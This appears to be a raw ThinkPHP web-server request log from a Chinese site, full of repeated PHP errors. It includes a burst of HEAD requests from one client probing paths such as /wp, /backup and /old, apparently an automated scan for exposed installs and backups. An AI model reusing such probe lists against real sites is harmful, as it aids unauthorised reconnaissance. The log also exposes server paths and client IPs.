[运行时间:0.001387s] [吞吐率:721.04req/s] [内存消耗:160.91kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46', 'accept-encoding' => 'gzip, deflate, gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'x-requested-with' => 'XMLHttpRequest', 'content-type' => 'application/x-www-form-urlencoded; charset=UTF-8', 'accept-language' => 'en US,en;q=0.9,sv;q=0.8', 'host' => '59.110.137.245', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T14:34:00+08:00 ] 157.90.91.229 GET 51tianwei.com/ [运行时间:0.001360s] [吞吐率:735.33req/s] [内存消耗:160.03kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (compatible; BLEXBot/1.0; +http://webmeup-crawler.com/)', 'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'host' => '51tianwei.com', 'connection' => 'Keep-Alive', 'accept-encoding' => 'gzip,deflate', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T14:39:49+08:00 ] 141.98.11.178 GET 59.110.137.245:80/ [运行时间:0.001528s] [吞吐率:654.44req/s] [内存消耗:160.91kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46', 'accept-encoding' => 'gzip, deflate, gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'x-requested-with' => 'XMLHttpRequest', 'content-type' => 'application/x-www-form-urlencoded; charset=UTF-8', 'accept-language' => 'en US,en;q=0.9,sv;q=0.8', 'host' => '59.110.137.245:80', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T14:57:06+08:00 ] 123.6.49.47 GET 51tianwei.com/ [运行时间:0.031732s] [吞吐率:31.51req/s] [内存消耗:161.20kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'connection' => 'keep-alive', 'pragma' => 'no-cache', 'cache-control' => 'no-cache', 'upgrade-insecure-requests' => '1', 'user-agent' => 'Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Mobile Safari/537.36', 'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'referer' => 'http://baidu.com/', 'accept-encoding' => 'gzip, deflate', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] --------------------------------------------------------------- [ 2024-11-14T15:24:41+08:00 ] 185.191.126.248 GET 59.110.137.245:80/ [运行时间:0.035542s] [吞吐率:28.14req/s] [内存消耗:159.24kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_USER_AGENT[/data/wwwroot/tianwei/think/runtime/route.php:32] --------------------------------------------------------------- [ 2024-11-14T15:35:12+08:00 ] 43.163.0.99 GET 59.110.137.245/ [运行时间:0.064168s] [吞吐率:15.58req/s] [内存消耗:161.91kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', 'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 'accept-encoding' => 'gzip', 'accept-language' => 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', 'cache-control' => 'no-cache', 'connection' => 'keep-alive, close', 'pragma' => 'no-cache', 'upgrade-insecure-requests' => '1', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T15:41:32+08:00 ] 64.23.186.30 GET 51tianwei.com/ [运行时间:0.030238s] [吞吐率:33.07req/s] [内存消耗:160.84kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'accept-encoding' => 'gzip, deflate', 'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'accept-language' => 'en-US,en;q=0.9', 'pragma' => 'no-cache', 'cache-control' => 'no-cache', 'user-agent' => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T15:59:24+08:00 ] 52.237.253.88 HEAD 51tianwei.com/wordpress [运行时间:0.103853s] [吞吐率:9.63req/s] [内存消耗:132.59kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'wordpress', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T15:59:25+08:00 ] 52.237.253.88 HEAD 51tianwei.com/ [运行时间:0.009915s] [吞吐率:100.86req/s] [内存消耗:159.69kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T15:59:25+08:00 ] 52.237.253.88 HEAD 51tianwei.com/wp [运行时间:0.001697s] [吞吐率:589.34req/s] [内存消耗:132.55kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'wp', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T15:59:25+08:00 ] 52.237.253.88 HEAD 51tianwei.com/bc [运行时间:0.001601s] [吞吐率:624.62req/s] [内存消耗:132.55kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'bc', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T15:59:25+08:00 ] 52.237.253.88 HEAD 51tianwei.com/bk [运行时间:0.001622s] [吞吐率:616.54req/s] [内存消耗:132.55kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'bk', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T15:59:25+08:00 ] 52.237.253.88 HEAD 51tianwei.com/backup [运行时间:0.001641s] [吞吐率:609.37req/s] [内存消耗:132.56kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'backup', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T15:59:25+08:00 ] 52.237.253.88 HEAD 51tianwei.com/old [运行时间:0.001846s] [吞吐率:541.69req/s] [内存消耗:132.56kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'old', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T15:59:26+08:00 ] 52.237.253.88 HEAD 51tianwei.com/new [运行时间:0.001808s] [吞吐率:553.05req/s] [内存消耗:132.56kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'new', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T15:59:26+08:00 ] 52.237.253.88 HEAD 51tianwei.com/main [运行时间:0.001560s] [吞吐率:641.04req/s] [内存消耗:132.56kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'main', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T15:59:26+08:00 ] 52.237.253.88 HEAD 51tianwei.com/home [运行时间:0.001705s] [吞吐率:586.53req/s] [内存消耗:132.56kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'home', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T16:09:55+08:00 ] 218.66.171.228 HEAD apd-vlive.apdcdn.tc.qq.com/om.tc.qq.com/A9CtlrloagkBDhJTKvdZbixB4QZBJoatMl3WhA7FiFuY/B_JxNyiJmktHRgresXhfyMeoQDyPhPgSc2EyLP7n3Mr4tkVumlF01okrbFz1kEIy75/v3062kqw0bi.mp4?vkey=0C90D0C612CB9D32A8AE2963E227A9457967A0FD67B809CB9CE7DB01EFD1557A39667F2EFA84A6E4D8C7CC7F5623249ECDB1B5F724342294C678C2F05B78E849585939E7D005841A75CD04EA53AD8D583D2C8FA1F185945F9D6C840B37DCFC67A0D1BAEF090BF5DAB527D2BD3F45A700C2E620E59A4BAA0BA4E0FBD985B0E23A3BA4533BF9309669 [运行时间:0.014595s] [吞吐率:68.52req/s] [内存消耗:135.49kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'om.tc.qq.com', 2 => 'A9CtlrloagkBDhJTKvdZbixB4QZBJoatMl3WhA7FiFuY', ), ) [ info ] [ HEADER ] array ( 'accept-encoding' => 'identity', 'host' => 'apd-vlive.apdcdn.tc.qq.com', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0', 'referer' => 'http://apd-vlive.apdcdn.tc.qq.com', ) [ info ] [ PARAM ] array ( 'vkey' => '0C90D0C612CB9D32A8AE2963E227A9457967A0FD67B809CB9CE7DB01EFD1557A39667F2EFA84A6E4D8C7CC7F5623249ECDB1B5F724342294C678C2F05B78E849585939E7D005841A75CD04EA53AD8D583D2C8FA1F185945F9D6C840B37DCFC67A0D1BAEF090BF5DAB527D2BD3F45A700C2E620E59A4BAA0BA4E0FBD985B0E23A3BA4533BF9309669', 'B_JxNyiJmktHRgresXhfyMeoQDyPhPgSc2EyLP7n3Mr4tkVumlF01okrbFz1kEIy75' => 'v3062kqw0bi.mp4', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] --------------------------------------------------------------- [ 2024-11-14T16:12:03+08:00 ] 46.19.138.234 GET 59.110.137.245/ [运行时间:0.010133s] [吞吐率:98.69req/s] [内存消耗:160.91kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46', 'accept-encoding' => 'gzip, deflate, gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'x-requested-with' => 'XMLHttpRequest', 'content-type' => 'application/x-www-form-urlencoded; charset=UTF-8', 'accept-language' => 'en US,en;q=0.9,sv;q=0.8', 'host' => '59.110.137.245', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or 